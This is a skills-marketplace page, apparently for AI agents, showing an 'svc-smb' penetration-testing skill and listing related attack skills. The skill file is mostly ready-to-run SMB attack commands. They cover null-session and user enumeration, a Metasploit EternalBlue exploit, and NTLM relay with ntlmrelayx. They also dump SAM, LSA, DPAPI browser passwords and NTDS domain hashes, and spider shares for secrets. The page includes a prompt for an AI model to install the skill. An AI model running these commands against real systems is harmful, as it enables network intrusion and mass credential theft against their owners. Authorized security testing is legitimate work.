菜单
SMB/CIFS attack techniques — null sessions, share enumeration, NTLM relay, EternalBlue, signing checks. Use when SMB is found. Triggers - ports 445/139, netbios, MS17-010 EternalBlue, signing:False, null session, share access, PetitPotam/coerce.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/s0ld13rr/pentestcode --skill svc-smb命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Turn a foothold into a RELIABLE pivot (SOCKS tunnel + persistent shell) so internal volume never rides a fragile stateless RCE. Use the moment you have code-exec on a dual-homed/edge host and need to reach an internal segment. Triggers - dual-homed host, "not reachable from my box", internal CIDR behind a foothold, RCE truncates output, need proxychains/nmap through a host, chisel/ligolo.
Insecure deserialization to RCE for web apps. Use when the app deserializes attacker-controlled data - cookies/tokens/hidden fields/params that are serialized blobs, VIEWSTATE, Java/PHP/.NET/Python/Node apps. Triggers - base64 starting rO0AB or hex AC ED 00 05 (Java), PHP serialize O-prefix, __VIEWSTATE, python pickle, node-serialize, unserialize error, ObjectInputStream.
Active Directory pentest playbook — Kerberos, LDAP, GPO, ADCS, delegation, lateral movement, DA paths. Load at the START of an AD engagement or when a Windows domain / DC is found. Triggers - domain controller, Kerberos 88, LDAP 389/636, domain SMB, BloodHound, kerberoast, AS-REP, NTLM, ESC1-8.
正在显示 SKILL.md
基于 SOC 职业分类
| name | svc-smb |
| description | SMB/CIFS attack techniques — null sessions, share enumeration, NTLM relay, EternalBlue, signing checks. Use when SMB is found. Triggers - ports 445/139, netbios, MS17-010 EternalBlue, signing:False, null session, share access, PetitPotam/coerce. |
# Full enumeration
enum4linux-ng -A <target>
# Share listing
smbclient -N -L //<target>
crackmapexec smb <target> --shares
crackmapexec smb <target> -u '' -p '' --shares # null session
crackmapexec smb <target> -u 'guest' -p '' --shares # guest
# User enumeration
crackmapexec smb <target> --users
rpcclient -U '' -N <target> -c 'enumdomusers'
rpcclient -U '' -N <target> -c 'enumdomgroups'
# SMB version / signing
crackmapexec smb <target>
nmap --script smb-security-mode -p 445 <target>
smbclient -N //<target>/<share>
smbmap -H <target> -u '' -p ''
rpcclient -U '' -N <target>
# EternalBlue (MS17-010) — Windows 7/2008 R2/2012
nmap --script smb-vuln-ms17-010 -p 445 <target>
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS <target>; run"
nmap --script smb-vuln-cve-2020-0796 -p 445 <target>
# Check if signing is NOT required (vulnerable to relay)
crackmapexec smb <target> --gen-relay-list relay_targets.txt
# Relay with ntlmrelayx
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
# Trigger auth: responder, mitm6, or coerce
# Run ALL three in order — each extracts different secrets:
netexec smb <target> -u <user> -p <pass> --sam # local SAM hashes
netexec smb <target> -u <user> -p <pass> --lsa # LSA secrets, cached domain creds
netexec smb <target> -u <user> -p <pass> --dpapi # FULL DPAPI: browser passwords, vault, cookies, Credential Manager
# CRITICAL: bare --dpapi = EVERYTHING. Do NOT add subcommands (cookies/nosystem/wifi).
# Adding subcommands LIMITS output. Always use bare --dpapi first.
# On Domain Controllers:
netexec smb <dc> -u <user> -p <pass> --ntds # ALL domain hashes
# Fallback — one-shot via impacket:
secretsdump.py <domain>/<user>:<pass>@<target>
# Connect and browse
smbclient //<target>/<share> -U <user>%<password>
# Recursive download
smbget -R smb://<target>/<share> -U <user>%<password>
# Spider shares for interesting files
crackmapexec smb <target> -u <user> -p <password> --spider <share> --pattern "passw|secret|cred|key|config"
grep '[+]' for brute-force runs.cme_parse for auto-processing netexec output.